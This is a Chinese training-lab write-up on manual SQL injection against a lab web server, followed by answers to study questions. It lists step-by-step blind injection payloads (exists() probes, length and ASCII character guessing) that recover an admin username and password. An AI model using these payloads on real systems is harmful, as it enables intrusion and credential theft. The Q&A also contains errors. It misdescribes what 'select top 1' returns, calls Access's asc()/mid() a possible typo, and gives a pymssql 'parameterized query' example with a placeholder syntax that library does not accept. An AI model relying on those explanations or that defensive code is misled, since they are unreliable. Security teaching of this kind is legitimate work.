目录
实验目的
1、理解SQL注入的原理
2、学习手工注入的过程
二、实验环境
目标机:192.168.1.3
工具: C:\实验工具集\01_WEB安全\02_注入技术实验工具
三、实验内容
1、按照实验实施,学习SQL注入的工作原理和过程。
2、通过实验,猜测数据库中是否有password字段,并用手工注入获取该字段的内容。把注入过程记录在下面的实验步骤里。
四、实验步骤
目标站点:【http:// 192.168.1.3:8008】,随便选择一个链接【http://192.168.1.3:8008/onews.asp?id=45】。


测试链接,在链接末尾添加【'】。

在链接末尾添加【 and 1=1】

在链接末尾添加【and 1=2】,返回页面显示该网站存在注入漏洞

在链接末尾添加语句【and exists(select * from admin)】,页面正常显示,说明存在表名【admin】

在连接末尾添加语句【and exists(select admin from admin)】,页面显示正常,即在表中存在admin列。

同样的方法,在链接末尾添加【and exists(select password from admin)】,页面显示正常,说明存在列password。

猜测字段的长度,在连接末尾输入语句【and (select top 1 len (admin) from admin)>1】,页面显示正常,数字依次加1,进行测试,如【and (select top 1 len (admin) from admin)>5】,说明字段长度为5。


同样的方法,在链接末尾添加连接【and (select top 1 asc(mid(admin,1,1)) from admin)>97】,可猜解出第一条记录的第一位字符的ASCII码为97,对应a

同样的方法可以得到admin字段内容为【admin】,password字段内容为【bfpms】

五、问题回答
1. SQL注入攻击的原理是什么?
SQL注入是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
SQL 注入可影响任何使用了 SQL 数据库的网站或应用程序,例如常用的数据库有 MySQL、Oracle、SQL Server 等等。攻击者利用它,便能无需授权地访问你的敏感数据,比如:用户资料、个人数据、商业机密、知识产权等等。SQL 注入是一种最古老、最流行、也最危险的网站漏洞。
- 如何确定SQL注入点?
- 注释符号测试:尝试输入--或/**/,看看是否导致错误或页面改变。
- 单引号测试:输入'看是否产生错误或页面改变。
- 逻辑运算符测试:尝试使用AND,OR,以及NOT等运算符,看看是否能改变查询结果。
- 数据库名称、表名称、列名称检测:使用UNION SELECT来查询数据库名称、表名称、列名称等。
- 盲注入测试:通过length()、ascii()等函数进行盲注。
- 时间延迟注入测试:使用sleep()或benchmark()等函数来判断注入点是否存在。
请注意,在实际操作中,可能需要结合其他技术,如SQLmap工具或手动审计代码,来确定和验证SQL注入点。
- SQL语句select top 1 asc(mid(admin,1,1)) from admin的含义是什么?
这个SQL语句的含义是查询admin表中的某个字段(可能也是admin字段,但语句没有明确指出),然后对这个字段的每一个记录执行以下操作:
- 使用mid(admin, 1, 1)函数获取admin字段的每一个值(字符串)的第一个字符。
- 使用asc()函数将这个字符转换为其ASCII值。
- 使用select top 1选择转换后的ASCII值中的最小的一个。
不过,这里有几点需要注意:
- asc()函数不是标准的SQL函数。可能是某些数据库特有的函数,或者可能是一个笔误。在标准的SQL中,你可以使用CAST(char_expression AS INTEGER)或ASCII(char_expression)(在某些数据库中)来获取字符的ASCII值。
- mid()函数也是某些数据库特有的,例如在SQL Server中,这个函数被称为SUBSTRING()。
- select top 1是SQL Server的语法,用于选择查询结果的前一行。在其他数据库中,可能需要使用LIMIT 1(例如在MySQL中)或FETCH FIRST 1 ROWS ONLY(在某些支持ANSI SQL的数据库中)。
所以,如果你正在使用SQL Server,并且admin字段是一个字符串字段,这个查询可能返回admin字段的第一个字符的ASCII值中的最小值。如果admin字段包含不同的字符开头,这将帮助你找到字典顺序上最早的字符的ASCII值。
但是,如果你正在使用其他数据库,你需要调整这个查询以使用相应的函数和语法。
4. 如何防范SQL注入攻击?
防止SQL注入攻击的最有效方法是使用参数化查询或预编译语句。这些方法要求数据库接受参数的值,而不是将它们视为SQL代码的一部分。这样可以确保即使输入的数据包含SQL指令,也不会被数据库执行。
import pymssql
# 连接到数据库
conn = pymssql.connect(server='hostname', user='username', password='password', database='dbname')
cursor = conn.cursor()
# 用户输入
user_input = "user' OR '1'='1"
# 参数化查询
cursor.execute("SELECT * FROM users WHERE username = @username", username=user_input)
# 获取结果
results = cursor.fetchall()


被折叠的 条评论
为什么被折叠?



